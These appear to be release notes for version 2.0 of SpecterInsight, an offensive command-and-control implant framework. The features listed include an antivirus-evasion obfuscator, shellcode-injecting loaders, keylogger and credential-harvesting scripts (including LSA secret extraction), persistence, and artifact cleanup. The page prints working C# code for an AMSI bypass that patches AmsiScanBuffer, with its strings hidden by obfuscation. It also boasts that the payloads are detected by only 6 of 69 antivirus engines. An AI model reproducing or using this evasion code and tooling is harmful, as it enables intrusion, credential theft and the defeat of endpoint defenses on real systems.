Version 2.0: Defense Evasion

Summary

The primary goal in this release was to provide a pipeline for generating a variety of .NET payloads that are resistant to signaturization by Antivirus vendors. To achieve that goal, we wrote a brand new C# obfuscation library with 13 new techniques for manipulating C# source code. We the developed 5 new payloads and constructed an obfuscation pipeline that generates unique binaries every single time. This pipeline was hooked up to API endpoints and exposed in client methods in both the SpecterInsight implant and UI. This means that you can generate payloads from the GUI or via SpecterScripts. This allows SpecterScripts to dynamically generate new payloads from the implant and drop them on the local system for persistence or throw them across the network tor lateral movement.

This release brings a whole bunch of new SpecterScripts for creating internal proxies, credential harvesting, keylogging, and persistence. Additionally, we fixed a variety of bugs and added new dashboards and visualizations to analyze operation data.

See the full list of features below!

Release Notes

Features

  • Invoke-ScheduledTask cmdlet and class now automatically deletes the task after running so there are less artifacts to find after the fact.
  • Added autologin credential extraction cmdlet called Get-AutologinCredentials.
  • Added feature to enable or disable SpecterScripts.
  • Made significant strides towards comprehensive .NET 2.0 compatibility.
  • Added a custom CSharp obfuscator with support for the following techniques:
    • Namespace Renaming
    • Class Renaming
    • Method Renaming
    • Variable, Property, and Parameter Renaming
    • Class Layout Randomization
    • 4 x String Obfuscation techniques
    • AMSI bypass injector
    • Compiler with AssemblyInfo randomizer
    • CSharp to PowerShell transform
    • PowerShell to .NET Binary Transform
  • Added 5 x new .NET 2.0+ compatible CSharp payloads:
    • .NET Module Loader
    • .NET Module Loader Service
    • .NET PowerShell Host
    • .NET PowerShell Host Service
    • .NET Shellcode Injector

SpecterScripts

  • Added Get Screenshot script.
  • Added Get Autologin Credentials script.
  • Added Get TCP Redirectors script
  • Added Start TCP Redirector script
  • Added Stop TCP Redirector script
  • Added Get Netsh Portproxy script
  • Added Create Netsh Portproxy script
  • Added Stop Netsh Portproxy script
  • Added Start Keylogger script
  • Added Stop Keylogger script
  • Added Get Captured Keystrokes script
  • Added Terminate Session script
  • Persistence via Obfuscated Binary and Scheduled Task Commandline
  • Improved Get Autologin Credentials script to extract passwords from LSA secrets

Bug Fixes

  • Fixed bug where modules would not load in some contexts.
  • Fixed multiple bugs that would prevent PowerShell cradles from working in PowerShell 2.0.
  • Fixed multiple scripts that were not .NET 2.0 compatible.
  • Fixed bug where implant task results would not be processed properly through the data augmentation pipeline if they were value type objects resulting in tasks that never seemed to finish.
  • Fixed bug where the Migrate Process SpecterScript was unable to properly parse PID input.
  • Fixed bug where commands executed with “Run” are unable to load modules into that PowerShell session.

Dashboards and Visualizations

  • Credentials Dashboard
    • Hashdump Visualization
    • WiFi Login Credentials Visualization
    • Windows Credential Vault Visualization
    • Autologin Credentials Visualization

Quality of Life Improvements

  • Sorted SpecterScript labels to make them easier to search.
  • Moved SessionInfo panel on top of the CommandHistory panel to give more workspace to the Script Searcher and Command Builder panels.

Screenshots and GIFs

Obfuscated Payloads

The screenshot below shows the new options for generating different .NET payloads available in SpecterInsight 2.0.0. Here is a brief summary of each new payload:

  • URL: The URL to download the core SpecterInsight implant.
  • Load Module: Obfuscated .NET binary that will download SpecterInsight and load it into memory.
  • Service Load Module: The same as the Load Module except this executable can be installed and run as a service.
  • PowerShell Host: Obfuscated .NET binary that will run any PowerShell script. In this case, a SpecterInsight PowerShell cradle will load the implant into memory.
  • Service PowerShell Host: The same as the PowerShell Host except this executable can be installed and run as a service.
  • Shellcode Inject: Obfuscated .NET executable that downloads and injects a SpecterInsight shellcode loader into the current process.

Obfuscation Techniques

Namespace, Class, Method, and Variable Renaming

Some easy signatures can be created from any unique names or strings that can be associated with a malicious program. SpecterInsight mitigates those signatures by renaming all namespaces, classes, methods, and variables. In the example below, you can see that the Main method was not renamed as it would really be more anomalous to be something other than Main.

Original
using System;

namespace Example {
    public class HelloWorld {
        public static void Main() {
            Console.WriteLine(HelloWorld.Run());
        }

        public static string Run() {
            string a = "hello";
            string b = "world";
            return string.Format("{0} {1}!", a, b);
        }
    }
}
Obfuscated
using System;

namespace XMLConverterToJSON{
    public class SystemMonitor{
        public static void Main() {
            Console.WriteLine(SystemMonitor.StartTimer());
        }

        public static string StartTimer() {
            string tempList= "hello";
            string tempString= "world";
            return string.Format("{0} {1}!", tempList, tempString);
        }
    }
}

String Obfuscation

SpecterInsight 2.0.0 ships with 4 different string obfuscation techniques. Some of the techniques such as Base64 are deterministic and therefore not quite as effective as those with some amount of randomization. We will be slowly shifting all obfuscation techniques to support some randomization to mitigate common artifacts between different iterations of the same source code. The StringVault technique injects a class called StringVault which stores obfuscated versions of all supported strings in the application along with static properties for accessing those deobfuscated strings. The strings in the rest of the binary are replaced with references to the StringVault class and the respective property. There are multiple techniques for storing the obfuscated strings within the StringVault technique including Base64, Hex, BinaryWriter, and Reverse String. The injected class will always have the same name, but that can be obfuscated by applying class, method, and variable obfuscation after performing string obfuscation.

Original
using System;

namespace Example {
    public class HelloWorld {
        public static void Main() {
            Console.WriteLine(HelloWorld.Run());
        }

        public static string Run() {
            string a = "hello";
            string b = "world";
            return string.Format("{0} {1}!", a, b);
        }
    }
}
Obfuscated
using System;
using System.Text;
using System.IO;
using System.IO.Compression;

namespace Example {
    public class HelloWorld {
        public static void Main() {
            Console.WriteLine(HelloWorld.Run());
        }

        public static string Run() {
            string a = StringVault.STR0;
            string b = StringVault.STR1;
            return string.Format(StringVault.STR2, a, b);
        }
    }

    public static class StringVault {
        public static string STR0 {
            get {
                return StringVault.Strings[0];
            }
        }

        public static string STR1 {
            get {
                return StringVault.Strings[1];
            }
        }

        public static string STR2 {
            get {
                return StringVault.Strings[2];
            }
        }

        static StringVault() {
            using (MemoryStream ms = new MemoryStream(StringVault.SERIALIZED)) {
                using (GZipStream gz = new GZipStream(ms, CompressionMode.Decompress)) {
                    using (BinaryReader br = new BinaryReader(gz)) {
                        int count = br.ReadInt32();
                        StringVault.Strings = new string[count];
                        for (int i = 0; i < count; i++) {
                            StringVault.Strings[i] = br.ReadString();
                        }
                    }
                }
            }
        }

        private static string[] Strings;
        private static byte[] SERIALIZED = new byte[] { 31, 139, 8, 0, 0, 0, 0, 0, 0, 10, 99, 102, 96, 96, 96, 205, 72, 205, 201, 201, 103, 45, 207, 47, 202, 73, 225, 168, 54, 168, 85, 168, 54, 172, 85, 4, 0, 219, 121, 58, 24, 25, 0, 0, 0 };
    }
}

AMSI Bypass Injector

We also ship a method for injecting an Anti-Malware Scan Interface bypass into any C# program. The injector comes with a few templates for various implementations of the same bypass. Ultimately, each one will patch the amsi.dll::AmsiScanBuffer function, but the code itself will be different. The example below shows a combination of the AMSI Bypass Injector and a String Obfuscation technique. One of the primary indicators used by Antivirus engines, particularly the Machine Learning based methods, is the presence of P/Invoke methods such as Kernel32::GetProcAddress, Kernel32::VirtualProtect, and Kernel32::LoadLibrary. We try to minimize the use of P/Invoke methods as it is not possible to obfuscate the attributes which must be constant references.

Original
using System;

namespace Example {
    public class HelloWorld {
        public static void Main() {
            Console.WriteLine(HelloWorld.Run());
        }

        public static string Run() {
            string a = "hello";
            string b = "world";
            return string.Format("{0} {1}!", a, b);
        }
    }
}
Obfuscated
using System;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.Text;

namespace Example {
    public class HelloWorld {
        public static void Main() {
            Bypass2.Apply();
            Console.WriteLine(HelloWorld.Run());
        }

        public static string Run() {
            string a = StringVault.STR0;
            string b = StringVault.STR1;
            return string.Format(StringVault.STR2, a, b);
        }
    }

    public class Bypass2 {
        [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
        public delegate bool Test(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
        [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
        public delegate IntPtr Load(string name);
        [DllImport("kernel32")]
        public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
        public static void Apply() {
            IntPtr library = Bypass2.LoadLibrary(StringVault.STR3);
            IntPtr virtualProtect = Bypass2.GetProcAddress(library, StringVault.STR4);
            Test vprot = (Test)Marshal.GetDelegateForFunctionPointer(virtualProtect, typeof(Test));
            IntPtr loadLibrary = Bypass2.GetProcAddress(library, StringVault.STR5);
            Load load = (Load)Marshal.GetDelegateForFunctionPointer(loadLibrary, typeof(Load));
            IntPtr amsi = load(StringVault.STR6);
            IntPtr amsiScanBuffer = Bypass2.GetProcAddress(amsi, StringVault.STR7);
            uint previous;
            vprot(amsiScanBuffer, (UIntPtr)5, 0x40, out previous);
            byte[] patch = Bypass2.GetPatch();
            Marshal.Copy(patch, 0, amsiScanBuffer, patch.Length);
            vprot(amsiScanBuffer, (UIntPtr)5, previous, out previous);
        }

        private static IntPtr LoadLibrary(string name) {
            foreach (ProcessModule module in Process.GetCurrentProcess().Modules) {
                if (module.ModuleName.Equals(name, StringComparison.OrdinalIgnoreCase)) {
                    return module.BaseAddress;
                }
            }

            return IntPtr.Zero;
        }

        private static byte[] GetPatch() {
            byte[] original = new byte[Patch.Length / 2];
            for (int i = 0; i < original.Length; i++) {
                original[i] = (byte)(Patch[2 * i + 1] - Patch[2 * i]);
            }

            return original;
        }

        private static readonly byte[] Patch = { 158, 86, 115, 202, 74, 74, 250, 1, 206, 78, 190, 129 };
    }

    public static class StringVault {
        private static readonly string _str0 = "656269696C";
        public static string STR0 {
            get {
                return StringVault.Extract(StringVault._str0);
            }
        }

        private static readonly string _str1 = "746C6F6961";
        public static string STR1 {
            get {
                return StringVault.Extract(StringVault._str1);
            }
        }

        private static readonly string _str2 = "782D7A1D782E7A1E";
        public static string STR2 {
            get {
                return StringVault.Extract(StringVault._str2);
            }
        }

        private static readonly string _str3 = "68626F6B6269302F2B616969";
        public static string STR3 {
            get {
                return StringVault.Extract(StringVault._str3);
            }
        }

        private static readonly string _str4 = "53666F71725E694D6F6C71626071";
        public static string STR4 {
            get {
                return StringVault.Extract(StringVault._str4);
            }
        }

        private static readonly string _str5 = "496C5E6149665F6F5E6F763E";
        public static string STR5 {
            get {
                return StringVault.Extract(StringVault._str5);
            }
        }

        private static readonly string _str6 = "5E6A70662B616969";
        public static string STR6 {
            get {
                return StringVault.Extract(StringVault._str6);
            }
        }

        private static readonly string _str7 = "3E6A706650605E6B3F726363626F";
        public static string STR7 {
            get {
                return StringVault.Extract(StringVault._str7);
            }
        }

        private static string Extract(string hex) {
            byte[] bytes = new byte[hex.Length / 2];
            for (int i = 0; i < hex.Length; i += 2) {
                byte temp = Convert.ToByte(hex.Substring(i, 2), 16);
                temp = (byte)((byte.MaxValue + (int)temp - StringVault.SHIFT) % byte.MaxValue);
                bytes[i / 2] = temp;
            }

            return Encoding.UTF8.GetString(bytes);
        }

        private const byte SHIFT = 252;
    }
}

AssemblyInfo Randomization

SpecterInsight also provide the ability to randomize assembly properties such as the original file name, company name, description, and version among others. This helps the payload look a little more legitimate. These are currently pre-generated, but are selected from a pool of about 100 templates for each field.

Defense Evasion Performance

Our initial set of obfuscated payloads performed well against the majority endpoint protection solutions, only being detected by 6 out of 69 Antivirus engines in VirusTotal. The engines that flagged our samples as malicious are generally pretty paranoid. Future efforts will focus around generating binaries that blend in enough to evade these more capable engines.

Credentials Dashboard

We also put some effort towards improving our credential harvesting capabilities, discussed in further detail in this blog post. As part of that, we now ship a dashboard that aggregates harvested credentials through all supported techniques.

Scroll to Top